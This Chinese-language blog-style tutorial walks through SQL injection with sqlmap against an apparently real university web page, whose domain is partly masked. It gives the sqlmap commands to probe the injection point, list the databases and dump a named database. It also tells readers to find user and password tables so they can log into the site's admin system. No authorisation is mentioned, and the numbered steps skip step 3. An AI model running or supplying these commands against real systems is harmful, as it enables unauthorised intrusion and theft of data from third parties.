SQL注入是啥就不解释了。下面演示一个SQL注入的例子

SQL注入点可以自己尝试或用SQL注入漏洞扫描工具去寻找，这里用大名鼎鼎的sqlmap演示一个现成的案例。

1.漏洞试探

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool

    http://sqlmap.org

可以看到这个站点是有SQL注入点的，连系统/应用/sql类型都爆出来了。接下来我们来探索一下这个数据库里有些什么。

2.查看数据库

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 --dbs

    ...

sqlmap identified the following injection points with a total of  HTTP(s) requests:

4.找到自己想要的表，如果你找到了存放user和passwd的表，那么你就可以后台登录他们的管理系统了。

5.甚至你可以把想要的数据库下载下来，在本地慢慢研究

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D ShangXueYuannew --dump --threads 5

时间相当长，完了后就能看到SQL的具体内容了。
